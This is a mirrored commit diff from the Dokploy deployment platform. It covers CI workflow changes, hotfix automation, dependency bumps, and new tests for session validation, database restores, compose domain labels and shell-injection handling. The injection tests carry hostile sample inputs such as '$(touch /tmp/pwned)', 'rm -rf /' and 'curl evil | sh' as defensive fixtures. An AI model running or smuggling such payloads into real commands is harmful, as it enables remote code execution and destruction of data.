mirror of
https://github.com/Dokploy/dokploy.git
synced 2026-09-14 11:06:15 +05:00
Merge branch 'Dokploy:canary' into canary
This commit is contained in:
commit
b5ea86f75a
40
.github/workflows/dokploy.yml
vendored
40
.github/workflows/dokploy.yml
vendored
@ -140,6 +140,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
outputs:
|
||||
version: ${{ steps.get_version.outputs.version }}
|
||||
npm_version: ${{ steps.get_version.outputs.npm_version }}
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
@ -151,6 +152,7 @@ jobs:
|
||||
run: |
|
||||
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
|
||||
echo "version=$VERSION" >> $GITHUB_OUTPUT
|
||||
echo "npm_version=${VERSION#v}" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Fetch install.sh
|
||||
run: |
|
||||
@ -164,6 +166,7 @@ jobs:
|
||||
uses: softprops/action-gh-release@v2
|
||||
with:
|
||||
tag_name: ${{ steps.get_version.outputs.version }}
|
||||
target_commitish: ${{ github.sha }}
|
||||
name: ${{ steps.get_version.outputs.version }}
|
||||
generate_release_notes: true
|
||||
draft: false
|
||||
@ -180,71 +183,82 @@ jobs:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- uses: pnpm/action-setup@v4
|
||||
with:
|
||||
version: 10.22.0
|
||||
|
||||
- uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: 24.4.0
|
||||
cache: pnpm
|
||||
|
||||
- name: Generate OpenAPI specification
|
||||
run: |
|
||||
pnpm install --frozen-lockfile
|
||||
pnpm generate:openapi
|
||||
|
||||
- name: Sync version to MCP repository
|
||||
run: |
|
||||
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo
|
||||
cd /tmp/mcp-repo
|
||||
|
||||
jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
|
||||
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
|
||||
mv package.json.tmp package.json
|
||||
|
||||
npm install -g pnpm
|
||||
cp ${{ github.workspace }}/openapi.json src/generated/openapi.json
|
||||
pnpm install
|
||||
pnpm run fetch-openapi
|
||||
pnpm run generate
|
||||
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
git add -A
|
||||
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
|
||||
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
|
||||
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
|
||||
--allow-empty
|
||||
git push
|
||||
|
||||
echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.version }}"
|
||||
echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
|
||||
|
||||
- name: Sync version to CLI repository
|
||||
run: |
|
||||
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo
|
||||
cd /tmp/cli-repo
|
||||
|
||||
jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
|
||||
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
|
||||
mv package.json.tmp package.json
|
||||
|
||||
cp ${{ github.workspace }}/openapi.json ./openapi.json
|
||||
npm install -g pnpm
|
||||
pnpm install
|
||||
pnpm run generate
|
||||
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
git add -A
|
||||
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
|
||||
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
|
||||
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
|
||||
--allow-empty
|
||||
git push
|
||||
|
||||
echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.version }}"
|
||||
echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
|
||||
|
||||
- name: Sync version to SDK repository
|
||||
run: |
|
||||
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git /tmp/sdk-repo
|
||||
cd /tmp/sdk-repo
|
||||
|
||||
jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
|
||||
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
|
||||
mv package.json.tmp package.json
|
||||
|
||||
cp ${{ github.workspace }}/openapi.json ./openapi.json
|
||||
npm install -g pnpm
|
||||
pnpm install
|
||||
pnpm run generate
|
||||
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
git add -A
|
||||
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
|
||||
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
|
||||
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
|
||||
--allow-empty
|
||||
git push
|
||||
|
||||
echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.version }}"
|
||||
echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
|
||||
|
||||
4
.github/workflows/format.yml
vendored
4
.github/workflows/format.yml
vendored
@ -11,7 +11,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
|
||||
- name: Setup biomeJs
|
||||
uses: biomejs/setup-biome@v2
|
||||
@ -19,4 +19,4 @@ jobs:
|
||||
- name: Run Biome formatter
|
||||
run: biome format --write
|
||||
|
||||
- uses: autofix-ci/action@635ffb0c9798bd160680f18fd73371e355b85f27 # v1.3.2
|
||||
- uses: autofix-ci/action@c5b2d67aa2274e7b5a18224e8171550871fc7e4a # v1.3.4
|
||||
|
||||
49
.github/workflows/hotfix-cherry-pick.yml
vendored
Normal file
49
.github/workflows/hotfix-cherry-pick.yml
vendored
Normal file
@ -0,0 +1,49 @@
|
||||
name: Hotfix Cherry-Pick
|
||||
|
||||
on:
|
||||
pull_request_target:
|
||||
types: [closed, labeled]
|
||||
|
||||
concurrency:
|
||||
group: hotfix-to-main
|
||||
cancel-in-progress: false
|
||||
|
||||
jobs:
|
||||
cherry-pick:
|
||||
if: github.event.pull_request.merged == true && contains(github.event.pull_request.labels.*.name, 'hotfix')
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
steps:
|
||||
- name: Checkout main
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
ref: main
|
||||
fetch-depth: 0
|
||||
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
|
||||
|
||||
- name: Cherry-pick fix to main
|
||||
run: |
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
SHA="${{ github.event.pull_request.merge_commit_sha }}"
|
||||
if [ "$(git rev-list --parents -n1 "$SHA" | wc -w)" -gt 2 ]; then
|
||||
git cherry-pick -x -m 1 "$SHA"
|
||||
else
|
||||
git cherry-pick -x "$SHA"
|
||||
fi
|
||||
git commit --amend -m "$(git log -1 --format=%B)" -m "[skip ci]"
|
||||
git push origin main
|
||||
|
||||
- name: Sync cherry-pick back into canary
|
||||
run: |
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
git fetch origin canary main
|
||||
git checkout -B canary origin/canary
|
||||
if ! git merge origin/main -m "chore: sync hotfix from main into canary [skip ci]"; then
|
||||
git merge --abort
|
||||
echo "::error::Could not auto-sync the hotfix into canary (real conflict, not just history divergence). Merge main into canary manually to avoid a conflict on the next release PR."
|
||||
exit 1
|
||||
fi
|
||||
git push origin canary
|
||||
28
.github/workflows/hotfix-release.yml
vendored
Normal file
28
.github/workflows/hotfix-release.yml
vendored
Normal file
@ -0,0 +1,28 @@
|
||||
name: Hotfix Release
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency:
|
||||
group: hotfix-to-main
|
||||
cancel-in-progress: false
|
||||
|
||||
jobs:
|
||||
release:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout main
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
ref: main
|
||||
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
|
||||
|
||||
- name: Bump patch version and push
|
||||
run: |
|
||||
git config user.name "Dokploy Bot"
|
||||
git config user.email "bot@dokploy.com"
|
||||
CURRENT=$(node -p "require('./apps/dokploy/package.json').version")
|
||||
NEW=$(echo "$CURRENT" | awk -F. -v OFS=. '{$NF++; print}')
|
||||
sed -i "s/\"version\": \"$CURRENT\"/\"version\": \"$NEW\"/" apps/dokploy/package.json
|
||||
git commit -am "chore: release ${NEW}"
|
||||
git push origin main
|
||||
6
.github/workflows/pull-request.yml
vendored
6
.github/workflows/pull-request.yml
vendored
@ -14,9 +14,9 @@ jobs:
|
||||
matrix:
|
||||
job: [build, test, typecheck]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: pnpm/action-setup@v4
|
||||
- uses: actions/setup-node@v4
|
||||
- uses: actions/checkout@v5
|
||||
- uses: pnpm/action-setup@v5
|
||||
- uses: actions/setup-node@v5
|
||||
with:
|
||||
node-version: 24.4.0
|
||||
cache: "pnpm"
|
||||
|
||||
@ -28,7 +28,7 @@
|
||||
"@types/react-dom": "^19.2.0",
|
||||
"rimraf": "6.1.3",
|
||||
"tsx": "^4.22.4",
|
||||
"typescript": "^5.8.3"
|
||||
"typescript": "^7.0.2"
|
||||
},
|
||||
"packageManager": "pnpm@10.22.0",
|
||||
"engines": {
|
||||
|
||||
@ -2,13 +2,12 @@
|
||||
"compilerOptions": {
|
||||
"target": "ESNext",
|
||||
"module": "ESNext",
|
||||
"moduleResolution": "Node",
|
||||
"moduleResolution": "bundler",
|
||||
"strict": true,
|
||||
"skipLibCheck": true,
|
||||
"outDir": "dist",
|
||||
"rootDir": "./src",
|
||||
"jsx": "react-jsx",
|
||||
"jsxImportSource": "hono/jsx",
|
||||
"baseUrl": ".",
|
||||
"paths": {
|
||||
"@/*": ["./*"],
|
||||
"@dokploy/server/*": ["../../packages/server/src/*"]
|
||||
|
||||
23
apps/dokploy/__test__/api/session-management.test.ts
Normal file
23
apps/dokploy/__test__/api/session-management.test.ts
Normal file
@ -0,0 +1,23 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { z } from "zod";
|
||||
|
||||
const revokeSessionSchema = z.object({
|
||||
sessionId: z.string(),
|
||||
});
|
||||
|
||||
describe("revokeSession input validation", () => {
|
||||
it("accepts a valid session id", () => {
|
||||
const result = revokeSessionSchema.safeParse({ sessionId: "abc123" });
|
||||
expect(result.success).toBe(true);
|
||||
});
|
||||
|
||||
it("rejects missing sessionId", () => {
|
||||
const result = revokeSessionSchema.safeParse({});
|
||||
expect(result.success).toBe(false);
|
||||
});
|
||||
|
||||
it("rejects non-string sessionId", () => {
|
||||
const result = revokeSessionSchema.safeParse({ sessionId: 123 });
|
||||
expect(result.success).toBe(false);
|
||||
});
|
||||
});
|
||||
57
apps/dokploy/__test__/backups/restore-use-statement.test.ts
Normal file
57
apps/dokploy/__test__/backups/restore-use-statement.test.ts
Normal file
@ -0,0 +1,57 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import {
|
||||
getRestoreCommand,
|
||||
stripDatabaseSwitchCommand,
|
||||
} from "@dokploy/server/utils/restore/utils";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const filter = (input: string) =>
|
||||
execSync(stripDatabaseSwitchCommand, {
|
||||
input,
|
||||
shell: "/bin/bash",
|
||||
}).toString();
|
||||
|
||||
describe("restore drops database-switch statements (mysql/mariadb)", () => {
|
||||
const dump = [
|
||||
"-- MariaDB dump",
|
||||
"CREATE DATABASE /*!32312 IF NOT EXISTS*/ `production_db`;",
|
||||
"USE `production_db`;",
|
||||
"use production_db;",
|
||||
"DROP TABLE IF EXISTS `users`;",
|
||||
"CREATE TABLE `users` (`id` int NOT NULL);",
|
||||
"INSERT INTO `users` VALUES (1),(2);",
|
||||
"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
|
||||
].join("\n");
|
||||
|
||||
it("removes USE and CREATE DATABASE lines but keeps everything else", () => {
|
||||
const result = filter(dump);
|
||||
expect(result).not.toContain("USE `production_db`");
|
||||
expect(result).not.toContain("use production_db");
|
||||
expect(result).not.toContain("CREATE DATABASE /*!32312");
|
||||
expect(result).toContain("DROP TABLE IF EXISTS `users`;");
|
||||
expect(result).toContain("CREATE TABLE `users` (`id` int NOT NULL);");
|
||||
expect(result).toContain("INSERT INTO `users` VALUES (1),(2);");
|
||||
expect(result).toContain(
|
||||
"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
|
||||
);
|
||||
});
|
||||
|
||||
it("is wired into mysql and mariadb restore pipelines only", () => {
|
||||
const base = {
|
||||
appName: "my-app",
|
||||
restoreType: "database" as const,
|
||||
credentials: {
|
||||
database: "dev_db",
|
||||
databaseUser: "u",
|
||||
databasePassword: "p",
|
||||
},
|
||||
rcloneCommand: "rclone cat ':s3:bucket/file.sql.gz' | gunzip",
|
||||
};
|
||||
for (const type of ["mysql", "mariadb"] as const) {
|
||||
const cmd = getRestoreCommand({ ...base, type });
|
||||
expect(cmd).toContain(`gunzip | ${stripDatabaseSwitchCommand} | docker`);
|
||||
}
|
||||
const pgCmd = getRestoreCommand({ ...base, type: "postgres" });
|
||||
expect(pgCmd).not.toContain(stripDatabaseSwitchCommand);
|
||||
});
|
||||
});
|
||||
@ -28,7 +28,7 @@ const runsSafely = (command: string) => {
|
||||
|
||||
const PAYLOADS = [
|
||||
`$(touch ${MARK})`,
|
||||
"`touch " + MARK + "`",
|
||||
`\`touch ${MARK}\``,
|
||||
`x; touch ${MARK}`,
|
||||
`x | touch ${MARK}`,
|
||||
];
|
||||
@ -101,4 +101,69 @@ describe("compose createCommand injection", () => {
|
||||
"deploy/docker-compose.prod.yml",
|
||||
);
|
||||
});
|
||||
|
||||
it("allows chained docker compose commands with '&&'", () => {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
command:
|
||||
"compose pull && docker compose down && docker compose up -d --build",
|
||||
} as any);
|
||||
expect(cmd).toBe(
|
||||
"compose pull && docker compose down && docker compose up -d --build",
|
||||
);
|
||||
});
|
||||
|
||||
it("allows chaining with the legacy 'docker-compose' spelling", () => {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
command: "compose pull && docker-compose down",
|
||||
} as any);
|
||||
expect(cmd).toBe("compose pull && docker-compose down");
|
||||
});
|
||||
|
||||
it("rejects a single '&' used for backgrounding", () => {
|
||||
expect(() =>
|
||||
createCommand({ ...base, command: "compose up -d & sleep 1" } as any),
|
||||
).toThrow(/Single '&' is not allowed/);
|
||||
});
|
||||
|
||||
it("rejects a malformed '&&&' chain", () => {
|
||||
expect(() =>
|
||||
createCommand({
|
||||
...base,
|
||||
command: "compose pull &&& docker compose up -d",
|
||||
} as any),
|
||||
).toThrow(/Single '&' is not allowed/);
|
||||
});
|
||||
|
||||
it("rejects chained segments that are not docker compose invocations", () => {
|
||||
expect(() =>
|
||||
createCommand({
|
||||
...base,
|
||||
command: "compose pull && rm -rf /",
|
||||
} as any),
|
||||
).toThrow(/must strictly start with 'docker compose '/);
|
||||
});
|
||||
|
||||
it("rejects an attempted injection smuggled inside a chained segment", () => {
|
||||
for (const bad of [
|
||||
"compose pull && docker compose up -d; touch /tmp/pwn",
|
||||
"compose pull && docker compose up -d $(touch /tmp/pwn)",
|
||||
"compose pull && docker compose up -d `touch /tmp/pwn`",
|
||||
"compose pull && docker compose up -d | touch /tmp/pwn",
|
||||
]) {
|
||||
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
|
||||
/Invalid characters/,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects a chain that only pretends to start with docker compose later in the string", () => {
|
||||
expect(() =>
|
||||
createCommand({
|
||||
...base,
|
||||
command: "compose pull && curl evil.sh | docker compose up -d",
|
||||
} as any),
|
||||
).toThrow(/Invalid characters/);
|
||||
});
|
||||
});
|
||||
|
||||
@ -0,0 +1,69 @@
|
||||
import { parse } from "shell-quote";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
// writeDomainsToCompose reads the on-disk compose file; mock fs so the file
|
||||
// "exists" but does not contain the attacker's service, forcing the error path
|
||||
// whose message embeds the user-controlled serviceName.
|
||||
vi.mock("node:fs", async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import("node:fs")>();
|
||||
return {
|
||||
...actual,
|
||||
existsSync: () => true,
|
||||
readFileSync: () => "services:\n web:\n image: nginx\n",
|
||||
};
|
||||
});
|
||||
|
||||
import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain";
|
||||
|
||||
const baseCompose = {
|
||||
appName: "my-app",
|
||||
serverId: null,
|
||||
composeType: "docker-compose",
|
||||
sourceType: "raw",
|
||||
composePath: "docker-compose.yml",
|
||||
isolatedDeployment: false,
|
||||
randomize: false,
|
||||
suffix: "",
|
||||
} as any;
|
||||
|
||||
const makeDomain = (serviceName: string) =>
|
||||
({
|
||||
host: "example.com",
|
||||
serviceName,
|
||||
https: false,
|
||||
uniqueConfigKey: 1,
|
||||
port: 3000,
|
||||
enabled: true,
|
||||
}) as any;
|
||||
|
||||
// If the returned shell fragment is safe, parse() yields only string tokens.
|
||||
// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token.
|
||||
const leaksShellSyntax = (command: string, marker: string) =>
|
||||
parse(command).some(
|
||||
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
|
||||
);
|
||||
|
||||
describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => {
|
||||
it("does not let a malicious serviceName inject shell operators", async () => {
|
||||
const result = await writeDomainsToCompose(baseCompose, [
|
||||
makeDomain("$(touch /tmp/pwned)"),
|
||||
]);
|
||||
|
||||
// The service does not exist in the compose, so we hit the error branch.
|
||||
expect(result).toContain("Has occurred an error");
|
||||
// The payload text may appear inside the single-quoted echo argument, but
|
||||
// it must never parse as a shell operator ($(), backtick, ; …).
|
||||
expect(leaksShellSyntax(result, "touch")).toBe(false);
|
||||
});
|
||||
|
||||
it("neutralizes backtick and semicolon payloads too", async () => {
|
||||
for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) {
|
||||
const result = await writeDomainsToCompose(baseCompose, [
|
||||
makeDomain(`svc${payload}`),
|
||||
]);
|
||||
expect(leaksShellSyntax(result, "rm")).toBe(false);
|
||||
expect(leaksShellSyntax(result, "curl")).toBe(false);
|
||||
expect(leaksShellSyntax(result, "id")).toBe(false);
|
||||
}
|
||||
});
|
||||
});
|
||||
306
apps/dokploy/__test__/compose/domain/enabled-filter.test.ts
Normal file
306
apps/dokploy/__test__/compose/domain/enabled-filter.test.ts
Normal file
@ -0,0 +1,306 @@
|
||||
import type { Compose } from "@dokploy/server/services/compose";
|
||||
import type { Domain } from "@dokploy/server/services/domain";
|
||||
import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
// With sourceType "raw", addDomainToCompose parses compose.composeFile
|
||||
// directly instead of reading from disk, so baseCompose exposes it as a
|
||||
// getter that always reflects the current composeYaml for each test case.
|
||||
const baseComposeYaml = `
|
||||
services:
|
||||
frigate:
|
||||
image: frigate
|
||||
`;
|
||||
let composeYaml = baseComposeYaml;
|
||||
|
||||
const baseCompose = {
|
||||
appName: "test-app",
|
||||
composeType: "docker-compose",
|
||||
composePath: "docker-compose.yml",
|
||||
sourceType: "raw",
|
||||
serverId: null,
|
||||
isolatedDeployment: false,
|
||||
randomize: false,
|
||||
suffix: "",
|
||||
get composeFile() {
|
||||
return composeYaml;
|
||||
},
|
||||
} as unknown as Compose;
|
||||
|
||||
const baseDomain: Domain = {
|
||||
host: "frigate.example.com",
|
||||
port: 8971,
|
||||
customEntrypoint: null,
|
||||
https: false,
|
||||
uniqueConfigKey: 1,
|
||||
customCertResolver: null,
|
||||
certificateType: "none",
|
||||
applicationId: "",
|
||||
composeId: "compose-id",
|
||||
domainType: "compose",
|
||||
serviceName: "frigate",
|
||||
domainId: "domain-id",
|
||||
path: "/",
|
||||
createdAt: "",
|
||||
previewDeploymentId: "",
|
||||
internalPath: "/",
|
||||
stripPath: false,
|
||||
middlewares: null,
|
||||
forwardAuthEnabled: false,
|
||||
enabled: true,
|
||||
};
|
||||
|
||||
const serviceLabels = (
|
||||
result: Awaited<ReturnType<typeof addDomainToCompose>>,
|
||||
) => (result?.services?.frigate?.labels as string[] | undefined) ?? [];
|
||||
|
||||
describe("addDomainToCompose enabled filtering", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
composeYaml = baseComposeYaml;
|
||||
});
|
||||
|
||||
it("generates traefik labels for an enabled domain", async () => {
|
||||
const result = await addDomainToCompose(baseCompose, [
|
||||
{ ...baseDomain, enabled: true },
|
||||
]);
|
||||
|
||||
const labels = serviceLabels(result);
|
||||
expect(labels).toContain("traefik.enable=true");
|
||||
expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
|
||||
true,
|
||||
);
|
||||
});
|
||||
|
||||
it("skips a disabled domain entirely (no traefik labels)", async () => {
|
||||
const result = await addDomainToCompose(baseCompose, [
|
||||
{ ...baseDomain, enabled: false },
|
||||
]);
|
||||
|
||||
const labels = serviceLabels(result);
|
||||
expect(labels).not.toContain("traefik.enable=true");
|
||||
expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
|
||||
false,
|
||||
);
|
||||
});
|
||||
|
||||
it.each([
|
||||
[
|
||||
"docker-compose",
|
||||
`services:
|
||||
frigate:
|
||||
image: frigate
|
||||
labels:
|
||||
- traefik.enable=true
|
||||
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
|
||||
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
|
||||
- traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
|
||||
- custom.label=preserved
|
||||
`,
|
||||
],
|
||||
[
|
||||
"stack",
|
||||
`services:
|
||||
frigate:
|
||||
image: frigate
|
||||
deploy:
|
||||
labels:
|
||||
- traefik.enable=true
|
||||
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
|
||||
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
|
||||
- traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
|
||||
- custom.label=preserved
|
||||
`,
|
||||
],
|
||||
] as const)(
|
||||
"removes stale labels for a disabled domain from %s rebuilds",
|
||||
async (composeType, staleComposeYaml) => {
|
||||
composeYaml = staleComposeYaml;
|
||||
|
||||
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
|
||||
{ ...baseDomain, enabled: false },
|
||||
]);
|
||||
|
||||
const service = result?.services?.frigate;
|
||||
const labels =
|
||||
composeType === "docker-compose"
|
||||
? service?.labels
|
||||
: service?.deploy?.labels;
|
||||
expect(labels).toContain("custom.label=preserved");
|
||||
expect(
|
||||
(labels as string[]).some((label) => label.includes("test-app-1")),
|
||||
).toBe(false);
|
||||
},
|
||||
);
|
||||
|
||||
it.each([
|
||||
[
|
||||
"docker-compose",
|
||||
`services:
|
||||
legacy:
|
||||
image: frigate
|
||||
labels:
|
||||
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
|
||||
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
|
||||
- custom.label=preserved
|
||||
frigate:
|
||||
image: frigate
|
||||
`,
|
||||
],
|
||||
[
|
||||
"stack",
|
||||
`services:
|
||||
legacy:
|
||||
image: frigate
|
||||
deploy:
|
||||
labels:
|
||||
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
|
||||
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
|
||||
- custom.label=preserved
|
||||
frigate:
|
||||
image: frigate
|
||||
`,
|
||||
],
|
||||
] as const)(
|
||||
"removes stale labels from the previous %s service after reassignment",
|
||||
async (composeType, staleComposeYaml) => {
|
||||
composeYaml = staleComposeYaml;
|
||||
|
||||
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
|
||||
{ ...baseDomain, serviceName: "frigate", enabled: false },
|
||||
]);
|
||||
|
||||
const previousService = result?.services?.legacy;
|
||||
const labels =
|
||||
composeType === "docker-compose"
|
||||
? previousService?.labels
|
||||
: previousService?.deploy?.labels;
|
||||
expect(labels).toContain("custom.label=preserved");
|
||||
expect(
|
||||
(labels as string[]).some((label) => label.includes("test-app-1")),
|
||||
).toBe(false);
|
||||
},
|
||||
);
|
||||
|
||||
it.each([
|
||||
[
|
||||
"docker-compose",
|
||||
`services:
|
||||
frigate:
|
||||
image: frigate
|
||||
labels:
|
||||
traefik.enable: "true"
|
||||
traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
|
||||
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
|
||||
traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
|
||||
custom.label: preserved
|
||||
`,
|
||||
],
|
||||
[
|
||||
"stack",
|
||||
`services:
|
||||
frigate:
|
||||
image: frigate
|
||||
deploy:
|
||||
labels:
|
||||
traefik.enable: "true"
|
||||
traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
|
||||
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
|
||||
traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
|
||||
custom.label: preserved
|
||||
`,
|
||||
],
|
||||
] as const)(
|
||||
"removes stale mapping labels for a disabled domain from %s rebuilds",
|
||||
async (composeType, staleComposeYaml) => {
|
||||
composeYaml = staleComposeYaml;
|
||||
|
||||
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
|
||||
{ ...baseDomain, enabled: false },
|
||||
]);
|
||||
|
||||
const service = result?.services?.frigate;
|
||||
const labels =
|
||||
composeType === "docker-compose"
|
||||
? service?.labels
|
||||
: service?.deploy?.labels;
|
||||
expect(labels).toMatchObject({ "custom.label": "preserved" });
|
||||
expect(
|
||||
Object.keys(labels ?? {}).some((label) => label.includes("test-app-1")),
|
||||
).toBe(false);
|
||||
},
|
||||
);
|
||||
|
||||
it.each([
|
||||
[
|
||||
"docker-compose",
|
||||
`services:
|
||||
frigate:
|
||||
image: frigate
|
||||
labels:
|
||||
traefik.enable: "true"
|
||||
traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
|
||||
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
|
||||
custom.label: preserved
|
||||
`,
|
||||
"traefik.docker.network",
|
||||
],
|
||||
[
|
||||
"stack",
|
||||
`services:
|
||||
frigate:
|
||||
image: frigate
|
||||
deploy:
|
||||
labels:
|
||||
traefik.enable: "true"
|
||||
traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
|
||||
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
|
||||
custom.label: preserved
|
||||
`,
|
||||
"traefik.swarm.network",
|
||||
],
|
||||
] as const)(
|
||||
"regenerates routing in mapping labels for an enabled domain in %s",
|
||||
async (composeType, mappingComposeYaml, networkLabel) => {
|
||||
composeYaml = mappingComposeYaml;
|
||||
|
||||
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
|
||||
{ ...baseDomain, enabled: true },
|
||||
]);
|
||||
|
||||
const service = result?.services?.frigate;
|
||||
const labels =
|
||||
composeType === "docker-compose"
|
||||
? service?.labels
|
||||
: service?.deploy?.labels;
|
||||
expect(labels).toMatchObject({
|
||||
"custom.label": "preserved",
|
||||
"traefik.enable": "true",
|
||||
[networkLabel]: "dokploy-network",
|
||||
"traefik.http.routers.test-app-1-web.rule":
|
||||
"Host(`frigate.example.com`)",
|
||||
"traefik.http.services.test-app-1-web.loadbalancer.server.port": "8971",
|
||||
});
|
||||
},
|
||||
);
|
||||
|
||||
it("emits labels only for the enabled domain when both are present", async () => {
|
||||
const result = await addDomainToCompose(baseCompose, [
|
||||
{ ...baseDomain, host: "enabled.example.com", enabled: true },
|
||||
{
|
||||
...baseDomain,
|
||||
host: "disabled.example.com",
|
||||
uniqueConfigKey: 2,
|
||||
enabled: false,
|
||||
},
|
||||
]);
|
||||
|
||||
const labels = serviceLabels(result);
|
||||
expect(labels.some((l) => l.includes("Host(`enabled.example.com`)"))).toBe(
|
||||
true,
|
||||
);
|
||||
expect(labels.some((l) => l.includes("Host(`disabled.example.com`)"))).toBe(
|
||||
false,
|
||||
);
|
||||
});
|
||||
});
|
||||
@ -35,6 +35,7 @@ describe("Host rule format regression tests", () => {
|
||||
customEntrypoint: null,
|
||||
middlewares: null,
|
||||
forwardAuthEnabled: false,
|
||||
enabled: true,
|
||||
};
|
||||
|
||||
describe("Host rule format validation", () => {
|
||||
|
||||
@ -24,6 +24,7 @@ describe("createDomainLabels", () => {
|
||||
stripPath: false,
|
||||
middlewares: null,
|
||||
forwardAuthEnabled: false,
|
||||
enabled: true,
|
||||
};
|
||||
|
||||
it("should create basic labels for web entrypoint", async () => {
|
||||
|
||||
59
apps/dokploy/__test__/compose/domain/raw-compose.test.ts
Normal file
59
apps/dokploy/__test__/compose/domain/raw-compose.test.ts
Normal file
@ -0,0 +1,59 @@
|
||||
import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
|
||||
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
|
||||
